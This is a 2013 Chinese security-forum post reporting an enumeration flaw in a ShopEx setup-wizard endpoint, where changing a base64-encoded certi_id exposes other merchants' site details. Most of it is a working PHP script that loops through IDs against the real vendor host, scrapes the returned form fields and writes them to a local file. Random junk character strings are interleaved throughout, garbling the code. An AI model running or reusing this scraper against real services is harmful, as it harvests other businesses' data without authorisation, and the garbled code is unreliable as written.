中国网络渗透测试联盟

标题: ShopEx某接口缺陷可遍历所有用户网站 [打印本页]

---

作者: admin    时间: 2013-9-21 15:59
标题: ShopEx某接口缺陷可遍历所有用户网站
简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
, o$ _4 c2 _3 C3 d1 J' {% ?, N问题出现在shopex 网店使用向导页面


% a  v4 ?' m) h, U( Y, L
4 i- q2 r: ?7 S; C) f9 F" }http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
9 ]& v# c' h& F; E0 @" e5 t1 S
! D4 s9 t* K! [0 I1 h. G' f! a
  g/ V3 H- D2 O5 Q' h5 E' E
& ~) s8 a' [' L8 x8 x# D& grefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

, t9 v, T; s& ~) u
5 Q, B5 N8 ^* e. [0 n1 Z
7 j8 Q& R1 f8 ]8 b, V: {5 D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



5 o" z0 r. u% Q<?php
4 c2 N6 j4 K9 M4 Z
3 R7 m3 a; x  K% [0 t3 B                for ($i=1; $i < 10000; $i++) { //遍历
! K: [& b, V4 m) c# b! X
( k. B. D/ W% b: I# M                        ShowshopExD($i);

! @* l" k( g6 l& Q: `9 f! D# }                }

                function ShowshopExD($cid) {
4 M- f( @( g! W4 p  i2 _( ^. m
                $url='http://guide.ecos.shopex.cn/step2.php';

" \% U) X& Q' M+ \, F                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
/ O$ }2 n  ]: R8 \
5 ^, b  ~$ m* J8 b+ L9 ~+ k        $url = $url.'?refer='.$refer;
! p2 X1 ?1 Z7 H7 u9 X
- w0 O# Z1 F- I3 Z        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- y) L% |( j9 H& K
# R4 h4 ?; u% q7 {# p* r) v        $result = curl_exec($ch);

+ f( r! v  X+ L' q        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
' o* d& a5 I* }: S& P, y/ _9 w
        if(strpos($result,$refer))

% P  E9 ?+ s5 |+ {        {
6 d& J& `4 v3 T& u: @/ e. ~, r2 |- x
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
! q0 ]; u! m+ w( y; U% L- k2 v$ |
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

( ^2 E# Y  k9 I                foreach ($value[1] as $key) {
! y6 x2 c& [. o- j9 r& ?! [
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
+ q* r& U4 e4 a9 h: x
                        echo $res[1][0].':'.$res[3][0]."\r\n";
' J2 X( H, _9 `$ n1 V
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

$ @) L% R% Y% @1 Y3 A                }
6 Y6 y/ s' `0 t% R* p
                echo '--------------------------------'."\r\n";
% p, @, @% w! F8 d( p/ {
/ X2 s4 M; Z  G' F                fclose($fp);
, c. D) _9 M3 O. \/ }4 {
        }
  h4 H! W4 e0 R" ~- U! o
" ~- K2 H% r) q! Q" _. _1 q        flush();

        curl_close($ch);

                }
; ]5 P0 f3 Z2 N: S
8 z/ L$ {1 _7 I, Q5 H4 x/ {6 I9 z9 @?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
: L! f; |' G: L6 v1 s' }refer换成其他加密方式
6 H: h" x5 C+ ^0 b6 C5 H/ Z

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2